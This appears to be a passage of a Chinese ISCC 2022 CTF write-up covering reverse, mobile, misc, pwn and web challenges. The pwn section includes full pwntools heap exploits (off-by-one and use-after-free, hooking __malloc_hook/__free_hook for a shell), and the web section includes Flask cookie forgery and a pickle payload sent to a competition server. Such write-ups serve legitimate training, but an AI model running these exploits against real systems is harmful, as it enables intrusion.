k);for(int i = 0; i < 18 ; i++){printf("%c", mm[i]);}return 0;} //ISCC{Kqykc0kdNjcD}ISCC{Kqykc0kdNjcD}
Sad Code
分析main_0函數(shù),流程較為簡(jiǎn)單且明顯,如下:
故利用z3該python庫(kù),來(lái)解決該多元方程組,腳本如下:
from z3 import *s = Solver() mith = [Int(f'{i}') for i in range(8)] s.add(mith[2] + 7 * mith[1] - 4 * mith[0] - 2 * mith[3] == 0x1F6B7856C) s.add(5 * mith[3] + 3 * mith[2] - mith[1] - 2 * mith[0] == 0x10BE1E7C7) s.add(2 * mith[1] + 8 * mith[3] + 10 * mith[0] - 5 * mith[2] == 0x49CB05E09) s.add(7 * mith[0] + 15 * mith[1] - 3 * mith[3] - 2 * mith[2] == 0x7EA87530B) s.add(15 * mith[4] + 35 * mith[7] - mith[5] - mith[6] == 0xCABA96AC9) s.add(38 * mith[6] + mith[4] + mith[7] - 24 * mith[5] == 0x51198C284) s.add(38 * mith[5] + 32 * mith[4] - mith[6] - mith[7] == 0x14C896AD3E) s.add(mith[4] + 41 * mith[6] - mith[5] - 25 * mith[7] == 0x6FAA694D1) if s.check():#print(s.model())tmp = str(s.model()) flag = [0,0,0,0,0,0,0,0] begin = 1 while begin < len(tmp):flag[int(tmp[begin:begin+1],10)] = int(tmp[begin+4:begin+14],10)begin += 17 for i in range(len(flag)):tmp = str(hex(flag[i]))[2:]for j in range(0,8,2):print(chr(int(tmp[j:j+2],16)),end='') #ISCC{KGACPRSC-YQBHDIXK-PVXFEEBO}ISCC{KGACPRSC-YQBHDIXK-PVXFEEBO}
Ruststr(未解出,未寫
GetTheTable
使用ida64反編譯,查看偽代碼;發(fā)現(xiàn)采用了base58加密,具有明顯特征;
故使用base58在線解密工具進(jìn)行解密;http://www.hiencode.com/base58w.html
ISCC{cKXBNcd9tDBdG}
Bob’s Code
函數(shù)的流程比較簡(jiǎn)單;
故,我們首先將mm該原始數(shù)據(jù),進(jìn)行j_BLmm該函數(shù)的字母替換,進(jìn)而進(jìn)行兩次base64解密;此時(shí)我們尋找到兩張base64表;可以發(fā)現(xiàn):
故,此時(shí)得到了信息,表2經(jīng)過(guò)了加密,故我們需要再對(duì)表2進(jìn)行解密;
import base64 flag = "W1BqthGbfhNWXVN1BGJifhBVoVpVgOz5YOzqs01FoY1qtWRABWtcuG9koF0" f = [] for i in range(len(flag)):tmp = ord(flag[i])if 'A' <= flag[i] <= 'Z':tmp = (ord(flag[i]) - 67) % 26 + 65elif 'a' <= flag[i] <= 'z':tmp = (ord(flag[i]) - 99) % 26 + 97f.append(tmp)flag = "" for i in f:flag += chr(i) print(flag)table1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" tmp_table = [] for i in range(len(table1)):#對(duì)ida之中表2的解密tmp_table.append(ord(table1[i])) tb = tmp_table for i in range(5,19):tmp = tmp_table[i]tmp_table[i] = tb[i + 26]tb[i + 26] = tmp table1 = "" for i in range(len(tb)):table1 += chr(tb[i])table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" flag = "".join(flag)+"===="#填充=號(hào)字符 print("1. 字母替換: "+flag) flag = base64.b64decode(flag.translate(str.maketrans(table1,table2))) print("2. base1: "+str(flag)) flag = base64.b64decode(flag) print("2. base2: "+str(flag)) #ISCC{XMOntqmU-wK9rfSB0-f4BWx6G8}ISCC{XMOntqmU-wK9rfSB0-f4BWx6G8}
MOBLIE
MobileA
利用jadx工具進(jìn)行逆向分析,利用初步分析如下:
此時(shí)模仿輪替加密來(lái)進(jìn)行對(duì)密文符號(hào)順序進(jìn)行恢復(fù);
a = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] i = 0 i2 = 5 z = False while i2 >= 0:if not z:i3 = 3while i3 >= 0:a[i] = i3 * 6 + i2i+=1i3-=1z = Trueelse:i4 = 0while i4 <= 3:a[i] = i4 * 6 + i2i+=1i4+=1z = Falsei2-=1 flag = "=1PmCCY=gQbcBQlnngbhpEEA" md5 = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0] l = 0 for i in a:md5[i] = flag[l]l+=1 for i in range(len(md5)):print(md5[i],end='') #phBcCmEbQbCPEglQY1Anng==將上述腳本所得到的進(jìn)行md5解密,結(jié)果為yes;
同時(shí)發(fā)現(xiàn)上面代碼之中存在key與iv兩個(gè)對(duì)應(yīng)AES解密之中的key與偏移量;故根據(jù)代碼執(zhí)行流程,先進(jìn)行Base64加密;然后作為key與偏移量進(jìn)行AES解密;
K@e2022%%y -base64-> S0BlMjAyMiUleQ== I&V2022*** -base64-> SSZWMjAyMioqKg== MW5QM0JPcklpSEN6L1l4RG1UekhNZz09 -base64解密-> 1nP3BOrIiHCz/YxDmTzHMg==使用AES在線解密網(wǎng)址進(jìn)行解密
ISCC{ASDxv*&^@!FGHJ_yes}
MISC
單板小將蘇翊鳴
可以發(fā)現(xiàn)附件中圖片明顯高度過(guò)低,故利用winhex修改
解碼如下:
\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f
利用Unicode解碼:
在這次冬奧會(huì)的舞臺(tái)上,我國(guó)小將蘇翊鳴斬獲一金一銀,那你知道此次冬奧會(huì)我國(guó)總共獲得幾枚獎(jiǎng)牌嗎?又分別是幾金幾銀幾銅呢?
2022冬奧會(huì)共獲得15塊獎(jiǎng)牌,分別為9金4銀2銅;所以壓縮包的密碼為15942;可以得到壓縮包里面的flag;
ISCC{beij-dbxj-2009}
降維打擊
發(fā)現(xiàn)附件為png圖片;大小為301KB;故圖片隱藏了某些東西;使用foremost
┌──(kali?kali)-[~/桌面]
└─$ foremost misc-DimensionalityReductionStrike-14.png -T
Processing: misc-DimensionalityReductionStrike-14.png
|*|
發(fā)現(xiàn)多出了一個(gè)極其模糊的圖片;猜測(cè)為L(zhǎng)SB等隱寫技術(shù);故利用zsteg該解密工具進(jìn)行嘗試;
zsteg -E “b1,r,lsb,yx” 00000567.png > p.png
將圖片導(dǎo)出;發(fā)現(xiàn)為魔女文字,故對(duì)照魔女文字進(jìn)行解密;
ISCC{INGZ-AXBP-FXLS}
藏在星空中的詩(shī)
附件存在一張psd圖片,使用PS打開(kāi)并將不透明度調(diào)至100%,可以發(fā)現(xiàn)存在密文;
該密文為13524,并通過(guò)Poem.txt來(lái)得到解壓密碼
1:☆???? 2:?🟇??? 3:??🟃?🟔 4:★??☆? 5:🌠??🟔🞱 解壓密碼: ☆??????🟃?🟔🌠??🟔🞱?🟇???★??☆? 根據(jù)Exel表之中的密碼解密得到如下flag; 1.flag= 2.ISCC{ 3.IAWKZ 4.EICFJ 5.TKHZ} ISCC{IAWKZEICFJTKHZ}ISCC{IAWKZEICFJTKHZ}
真相只有一個(gè)
附件之中存在stream無(wú)后綴的文件,故使用hex查看文件格式,猜測(cè)為zip;
故修改后綴為zip,解壓發(fā)現(xiàn)需要密碼;而發(fā)現(xiàn)圖片的LSB通道之中隱含部分密碼;
經(jīng)過(guò)測(cè)試發(fā)現(xiàn)該密碼不完整;故利用ARCHPR進(jìn)行爆破,發(fā)現(xiàn)密碼19981111;
然后使用WireShark打開(kāi)該流量包,發(fā)現(xiàn)TFTP傳輸之中包含了mp3文件,故導(dǎo)出該文件;
利用Audacity音頻工具打開(kāi)該mp3文件;
發(fā)現(xiàn)音頻部分解密為isccmisc;而flag.txt部分存在SNOW加密;但是需要密碼;故我們利用mp3所得到的密碼來(lái)對(duì)flag.txt進(jìn)行SNOW解密;得到flag
ISCC{vnQd-Hjnf-yEev}
2022冬奧會(huì)
附件之中存在題圖,使用winhex打開(kāi)修改高度;
發(fā)現(xiàn)原圖片之中隱藏的密文;
發(fā)現(xiàn)其為NCR編碼;解密發(fā)現(xiàn)原文;
并且題目提示"2022冬奧會(huì)在北京舉辦,身為東道主的你知道此次冬奧會(huì)的吉祥物分別是誰(shuí)嗎?并且你知道這兩只冬奧會(huì)的吉祥物最初設(shè)計(jì)的原型分別是什么嗎?我只能提示你其中有一只的原型是我們的國(guó)寶哦"
故原型分別為熊貓和燈籠,而提示了國(guó)寶(熊貓),那么就剩下了燈籠,嘗試"燈籠"
發(fā)現(xiàn)壓縮包密碼為"燈籠";解壓,發(fā)現(xiàn)存在圖片jpg;修改后綴明為txt打開(kāi),發(fā)現(xiàn)flag;
ISCC{beij-dahb-1042}
隱秘的信息
首先已知信息為ZWFzeV90b19maW5kX3RoZV9mbGFn該字符串,通過(guò)base64解密發(fā)現(xiàn)easy_to_find_the_flag該字符串;該字符串為壓縮包密碼;解壓發(fā)現(xiàn)圖片;
經(jīng)過(guò)嘗試,查看LSB:
使用如下腳本轉(zhuǎn)換為flag;
a = "fffe92a68686f6d4e4d08e96e8686684c2c4e292aa6c8ae8d4e464fa01f8007f" a = int(a,16) b = str(bin(a))[17:]for i in range(0,len(b),8):tmp = int(b[i:i+8],2)print(chr(tmp),end='') #ISCC{jrhGKt43BabqIU6Etjr2} ü ?ISCC{jrhGKt43BabqIU6Etjr2}
藏在星空中的詩(shī)-2
發(fā)現(xiàn)一長(zhǎng)串極具有特征的字符,故使用藏在星空中的詩(shī)該題目之中的密文轉(zhuǎn)換表,得到unicode編碼;轉(zhuǎn)為字符即可;
這里可以根據(jù)較為明顯的特征ISCC{}來(lái)發(fā)現(xiàn)其密文轉(zhuǎn)換表;
這里根據(jù)密文可以發(fā)現(xiàn)其為unicode編碼格式,而字符"I"的unicode編碼為\u0049;對(duì)于這\🌟🌠🌠?🟉該符號(hào);即知🌠對(duì)于0,?對(duì)于4,🟉對(duì)應(yīng)9;
同時(shí)這三個(gè)字符🌠對(duì)應(yīng)U+1F320,?對(duì)應(yīng)U+2734,🟉對(duì)應(yīng)U+1F7C9;
可以發(fā)現(xiàn)規(guī)律,即其特殊符號(hào)的unicode編碼最后一位對(duì)應(yīng)著原文數(shù)字;
同理,我們可以將所有的unicode轉(zhuǎn)換為原文,進(jìn)而可以轉(zhuǎn)換為中文,即出現(xiàn)flag;
\🌟🌠🌠?🟉->\u0049 \🌟🌠🌠★?->\u0053 \🌟🌠🌠??->\u0043 \🌟🌠🌠??->\u0043 \🌟🌠🌠??->\u007b \🌟🌠🌠?★->\u0045 \🌟🌠🌠??->\u0043 \🌟🌠🌠??->\u004f \🌟🌠🌠??->\u004b \🌟🌠🌠?☆->\u0046 \🌟🌠🌠?🌠->\u0040 \🌟🌠🌠?🌠->\u0040 \🌟🌠🌠?☆->\u0026 \🌟🌠🌠?★->\u0045 \🌟🌠🌠??->\u004e \🌟🌠🌠??->\u0028 \🌟🌠🌠??->\u0077 \🌟🌠🌠??->\u0044 \🌟🌠🌠??->\u0074 \🌟🌠🌠??->\u007d 整理得 \u0049\u0053\u0043\u0043\u007b\u0045\u0043\u004f\u004b\u0046\u0040\u0040\u0026\u0045\u004e\u0028\u0077\u0044\u0074\u007d unicode轉(zhuǎn)中文即可獲取flag ISCC{ECOKF@@&EN(wDt}ISCC{ECOKF@@&EN(wDt}
套中套(未寫,未交
發(fā)現(xiàn)附件為壓縮包與一個(gè)png圖片,使用winhex打開(kāi)png發(fā)現(xiàn)頭部信息缺失,故添加上png文件頭信息;
查看圖片發(fā)現(xiàn)flag的一部分;
flag1: wELC0m3_;
flag2: _ISCC_Zo2z;
wELC0m3__ISCC_Zo2z
擂臺(tái)PWN
careless_note
libc版本為2.23遠(yuǎn)古版本;增刪改查皆有;存在off by one漏洞;故可以利用該漏洞造成堆塊重疊;
from pwn import * context(log_level='debug',os='linux',arch='amd64')binary = './careless_note' r = remote('123.57.69.203',8010) #r = process(binary) #elf = ELF(binary) #libc = elf.libc libc = ELF('/home/pwn/question/iscc/libc-2.23.so') bss_chunk =0x06020C0 def Allocate(size=0x18,payload=b'/bin/sh\x00'):r.sendlineafter("Your choice :",'1')r.sendlineafter("Size of Heap : ",str(size))r.sendafter("Content of heap:",payload)def Edit(index,payload):r.sendlineafter("Your choice :",'2')r.sendlineafter("Index :",str(index))r.sendlineafter("Your choose:",str(1))r.sendlineafter("Content of heap : ",payload)def Free(index):r.sendlineafter("Your choice :",'2')r.sendlineafter("Index :",str(index))r.sendlineafter("Your choose:",str(0))def Show(index):r.sendlineafter("Your choice :",'3')r.sendlineafter("Index :",str(index))one = [0x45226,0x4527a,0xf03a4,0xf1247] Allocate(0x308)#0 Allocate()#1 Free(0) Allocate(0x18,b'a'*8)#0 Show(0)#泄露地址 libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-232-0x280-libc.symbols['__malloc_hook']# leak libc malloc_hook = libc_base+libc.symbols['__malloc_hook']Allocate(0x8)#2 Free(0) Free(2)Allocate(0x98)#0 Allocate(0x58)#2 Allocate(0x98)#3 Free(0) Edit(2,b'b'*0x50+p64(0x100)+p8(0xa0)) Free(3)Allocate(0x68)#0 Allocate(0x68)#3 Allocate(0x68)#4 Free(0) Free(3) Free(4)#堆風(fēng)水,構(gòu)造布局 Edit(2,b'c'*0x38+p64(0x71)+p64(malloc_hook-0x23))#常規(guī)位置Allocate(0x68)#0 Allocate(0x68)#3 Edit(3,b'd'*0x13+p64(one[1]+libc_base))#寫入__malloc_hook為one_gadget success("libc_base -> "+hex(libc_base)) success("bss_chunk -> "+hex(bss_chunk)) #gdb.attach(r) r.sendlineafter("Your choice :",'1')#申請(qǐng)堆塊,觸發(fā)__malloc_hookr.interactive()ISCC{7c74-bf11-4428-a609-1f76}
ezuaf
該為64位2.27libc的附件,存在漏洞為UAF;
故,我們可以首先申請(qǐng)較大的堆塊來(lái)泄露地址,進(jìn)而計(jì)算出system地址與free_hook地址;進(jìn)而利用UAF漏洞造成tcache bin的fd指針指向free_hook,修改其內(nèi)容為system地址,進(jìn)而free(“/bin/sh”);獲取權(quán)限;
from pwn import * context(log_level='debug',os='linux',arch='amd64')binary = './ezuaf' #r = process(binary) r = remote('123.57.69.203',8020) elf = ELF(binary) #libc = elf.libc libc = ELF('./libc-2.27.so') def Allocate(size=0x18):r.sendlineafter(":",'1')r.sendlineafter("Input size:",str(size))def Edit(index,payload):r.sendlineafter(":",'2')r.sendlineafter("Input page\n",str(index))r.sendlineafter("Input your massage:",payload)def Free(index):r.sendlineafter(":",'3')r.sendlineafter("Input page",str(index))def Show(index):r.sendlineafter(":",'4')r.sendlineafter("Input page",str(index))Allocate(0x410)#0 unsorted bin -> 泄露地址,計(jì)算偏移 Allocate()#1 tcache bin -> 利用UAF,造成任意地址寫 Allocate()#2 Free(0) Show(0)#leak libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.symbols["__malloc_hook"] system = libc_base+libc.symbols["system"] free_hook = libc_base+libc.symbols["__free_hook"]Free(1) Edit(1,p64(free_hook))#修改tcache的fd指針指向free_hook Allocate()#3 Allocate()#4 Edit(4,p64(system))#修改free_hook內(nèi)容為system Edit(2,b'/bin/sh\x00')#填充"/bin/sh\x00"特殊字符串 success(hex(libc_base)) #gdb.attach(r) Free(2)#相當(dāng)于執(zhí)行了system("/bin/sh");r.interactive()ISCC{1ae2-4ac8-403b-97df-13ae}
擂臺(tái)MISC
666
壓縮包存在密碼,故使用winhex打開(kāi),發(fā)現(xiàn)為偽加密;故修改全局方位標(biāo)記為00;
解壓發(fā)現(xiàn)存在圖片與壓縮包;而壓縮包是存在密碼的,故我們猜測(cè)密碼位于圖片之中,故我們采用隱寫工具steghide來(lái)搜索圖片之中可能存在的隱藏的內(nèi)容
發(fā)現(xiàn)新的圖片,故我們嘗試修改高度,發(fā)現(xiàn)特殊字符:
!@#$%678()_+為壓縮包密碼,其中為流量包,經(jīng)過(guò)一番搜索,發(fā)現(xiàn)了一個(gè)神秘的網(wǎng)址;
神秘的鏈接,發(fā)現(xiàn)為一個(gè)gif動(dòng)態(tài)圖,然后
base1:SElERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==
base2:pQLKpP/EPmw301eZRzuYvQ==
共三段base64密文,可以拼湊為兩個(gè)base64密文,進(jìn)行解密發(fā)現(xiàn)為:
HIDEkey:852 987456321 98423 98423 REALkey:xSxx
通過(guò)九宮格鍵可以推導(dǎo)出ISCC,故我們接下來(lái)進(jìn)行AES解密:
AES解密網(wǎng)站,進(jìn)行解密:(得到flag
ISCC{lbwmeiyoukaig}
擂臺(tái)Reverse
Encode(未寫完
代碼流程較為簡(jiǎn)單,如下,則進(jìn)入encode函數(shù)分析代碼流程;
如下,為encode函數(shù)加密過(guò)程:
擂臺(tái)Web
Melody
首先通過(guò)查看源碼,發(fā)現(xiàn)一個(gè)有趣的鏈接:
訪問(wèn)之后,提示只能用Melody瀏覽器登錄;故使用BP抓包工具修改User-Agent:為User-Agent: Melody再次訪問(wèn);再次提示The url format of the query information:/info/?Melody=;
說(shuō)明存在Melody該GET變量;通過(guò)測(cè)試發(fā)現(xiàn)存在SSTI模板注入;
此時(shí)發(fā)現(xiàn)通用密鑰,故可以利用SECRET_KEY來(lái)繞過(guò)flask的session認(rèn)證;meldoy-is-so-cute-wawawa!;如下利用python之中的flask-unsign工具來(lái)自動(dòng)破解secretkey,然后修改cookie內(nèi)容并重新簽名;
┌──(kali?kali)-[~/.local/bin]
└─$ python3 flask-unsign --sign --cookie “{‘username’:‘a(chǎn)dmin’}” --secret ‘meldoy-is-so-cute-wawawa!’
eyJ1c2VybmFtZSI6ImFkbWluIn0.YnSNQg.8SUJyF58jVP7UHQMHMtTQ_JkiUY
此時(shí)登錄,并修改Cookie保持會(huì)話為如上內(nèi)容!此時(shí),發(fā)現(xiàn)沒(méi)有flag;但是查看源碼時(shí)候,發(fā)現(xiàn)了view-source:http://59.110.159.206:7040/static/real_flag_part.py該源碼;引用了pickle庫(kù);故可以利用pickle反序列化來(lái)獲取flag
# -*- coding:utf-8 -*- import pickle import melody import base64 from flask import Flask, Response,requestclass register:def __init__(self,name,password):#初始化賬戶密碼self.name = nameself.password = passworddef __eq__(self, other):#當(dāng)使用==將會(huì)調(diào)用該函數(shù) 判斷賬戶密碼是否相同return type(other) is register and self.name == other.name and self.password == other.passwordclass RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module[0:8] == '__main__':return getattr(sys.modules['__main__'],name)#返回對(duì)象的屬性值raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def find(s):return RestrictedUnpickler(io.BytesIO(s)).load()#load()將對(duì)象反序列化 #發(fā)現(xiàn)/therealflag頁(yè)面,方式擁有GET、POST傳參 @app.route('/therealflag', methods=['GET','POST']) def realflag():if request.method == 'POST':#需要POST傳參try:data = request.form.get('melody')#獲取表單參數(shù)molodyif b'R' in base64.b64decode(data):#不允許存在object.__reduce__()方法return 'no reduce'else:result = find(base64.b64decode(data))#base64解碼 并執(zhí)行RestrictedUnpickler函數(shù)if type(result) is not register:#判斷類型return 'The type is not correct!'correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))if correct:if session['username'] == 'admin':#判斷會(huì)話是否為adminreturn Response(read('./flag.txt'))#返回flagelse:return Response("You're not admin!")except Exception as e:return Response(str(e)) #如果直接訪問(wèn)/therealflag頁(yè)面,將會(huì)返回一個(gè)base64加密的序列化函數(shù)test = register('admin', '123456')data = base64.b64encode(pickle.dumps(test)).decode()return Response(data)故利用pickle反序列化進(jìn)行攻擊,如下為腳本;
import requests import pickle import pickletools import base64 class register:def __init__(self,name,password):#初始化賬戶密碼self.name = nameself.password = passworda = pickle.dumps(register("melody","hug"))#該處無(wú)需添加參數(shù),protocol=0 c = pickletools.optimize(a)#精簡(jiǎn)序列 #pickletools.dis(c) if b'R' in c:#判斷是否合法print("no")pick = base64.b64encode(c) url = "http://59.110.159.206:7040/therealflag" head = {"Cookie": "session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YnSNQg.8SUJyF58jVP7UHQMHMtTQ_JkiUY" } data = {"melody": pick } r = requests.post(url=url,data=data,headers=head) print(r.text)ISCC{2022_melody_secrets}
總結(jié)
- 上一篇: 图元变形lisp源码_修改图元图层lis
- 下一篇: 中国电信笔试题库